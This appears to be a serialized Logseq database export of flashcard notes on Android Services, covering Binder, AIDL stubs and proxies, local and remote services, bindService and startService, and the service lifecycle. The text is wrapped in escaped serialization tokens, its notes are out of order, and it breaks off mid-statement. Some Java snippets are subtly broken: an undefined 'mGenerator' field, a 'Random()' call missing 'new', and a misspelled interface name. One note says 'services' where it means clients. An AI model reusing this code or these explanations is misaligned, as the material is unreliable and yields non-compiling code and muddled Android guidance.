Examplelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Flogseq____&quot;,266,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Vlogseq____&quot;,280,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-fabb-48f4-a2a0-6640631dc225logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Simply extend the Binder class instead of using AIDLlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^Flogseq____&quot;,280,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^Vlogseq____&quot;,280,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[266,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-fea2-4728-b254-7f580a01cc7flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;AIDL compiler creates a *skeleton* for the service (stub) and a *proxy object* abstracting the servicelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Flogseq____&quot;,270,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Vlogseq____&quot;,269,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[267,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-eccf-45d0-a1f2-71bdf01b2b48logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be invoked in different ways, i.e, client starts a service or client binds to a servicelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^Flogseq____&quot;,277,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^Vlogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[268,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-958d-47b5-b694-c24e929fa961logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Remote:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Flogseq____&quot;,273,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Vlogseq____&quot;,273,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[269,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5d00-4125-af92-d0b8ac775741logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Define interface in *Android Interface Definition Language* (AIDL; domain-specific language)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Flogseq____&quot;,269,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Vlogseq____&quot;,269,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[270,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4f41-4178-a29b-c5aa0e9f0da6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Examples: Wi-Fi manager, Location managerlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Flogseq____&quot;,267,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Vlogseq____&quot;,269,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[271,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-861e-4baf-9565-e3cc515b3d93logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Examplelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Flogseq____&quot;,291,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Vlogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[272,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8a27-4029-96ab-25c2339700d2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be *local* to an app or in a *remote process*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Flogseq____&quot;,275,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Vlogseq____&quot;,274,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[273,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c3e1-4cd4-aac7-695f469b891blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Flogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Vlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^Hlogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[274,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-cfcb-43ba-8176-486d2fb69a0blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Background processes without user interactionlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Flogseq____&quot;,274,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Vlogseq____&quot;,274,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[275,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a217-4045-93c3-4db6c757fe0clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\npublic class LocalService extends Service {\\n private final IBinder binder = new LocalBinder();\\n private final Random mGenderator = Random();\\n \\n // No need to deal with IPC as service runs in same process as client\\n public class LocalBinder extends Binder {\\n LocalService getService() {\\n return LocalService.this; // clients can call public methods\\n }\\n }\\n \\n @Override\\n public IBinder onBind(Intent intent) {\\n return binder;\\n }\\n \\n // Method called by clients\\n public int getRandomNumber() {\\n return mGenerator.nextInt(100);\\n }\\n}\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^Flogseq____&quot;,265,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^Vlogseq____&quot;,265,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[276,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-de38-4a76-a859-b56df8a7d077logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![](https://developer.android.com/static/images/service_lifecycle.png){:height 515, :width 389}logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^Flogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^Vlogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[277,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-3189-40b7-848d-82aac28e25c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Lifecyclelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Flogseq____&quot;,274,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Vlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[278,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5ef9-49ad-9ae1-f8e7eb5e2f12logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\ninterface MySerice {\\n int foo(String bar);\\n}\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Flogseq____&quot;,272,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Vlogseq____&quot;,272,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[279,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-648b-4732-908f-d606fea3e7felogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Client binds to local servicelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Flogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Vlogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[280,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-491d-4912-803e-1426608d12e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\n// Auto-generated by AIDL\\npublic class MyService extends Service {\\n // ...\\n \\n @Override\\n public IBinder onBind(Intent intent) {\\n return mBinder;\\n }\\n \\n private final MyService.Stub mBinder = new MyService.Stub() {\\n public int foo(String bar) {\\n return 42;\\n };\\n }\\n \\n // ...\\n}\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Flogseq____&quot;,279,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Vlogseq____&quot;,272,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[281,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-147d-41a2-a12b-2cff324ee7b6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Examplelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Flogseq____&quot;,292,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Vlogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[282,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5589-4937-b28f-5c457c510cc8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Started by client #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Flogseq____&quot;,268,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Vlogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^Hlogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[283,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-df76-44e5-a7fb-93e17320321dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\npublic class HelloService extends Service {\\n // implement stuff ...\\n \\n @Override\\n public int onStartCommand(Intent intent, int flags, int startId) {\\n // Handle call ...\\n \\n return START_NOT_STICKY;\\n }\\n}\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Flogseq____&quot;,282,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Vlogseq____&quot;,282,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[284,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7dd2-4085-9145-eceb5223bf29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`bindService` calls the `onBind` functionlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Flogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Vlogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[285,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-45f3-473e-948a-959769230c4clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`startService` calls the `onStartCommand` functionlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Flogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Vlogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[286,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7c9a-4340-9886-7b59e74e7a56logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Once all services unbound, the servicelogseq____&apos;s `onUnbind` function is calledlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Flogseq____&quot;,288,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Vlogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[287,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ade9-459c-9052-ecdcda771227logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Service is stopped implicitly after all clients called `unbindService`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Flogseq____&quot;,285,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Vlogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[288,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7ed9-4694-9228-4ba4e9aadfaelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;This example requires a fully explicit [Intent]([[Intent Messages]]), i.e., use the component namelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Flogseq____&quot;,290,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Vlogseq____&quot;,282,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^Hlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[289,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5518-4ffd-a75d-fd1da3ca0766logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\nIntent intent = new Intent(this, 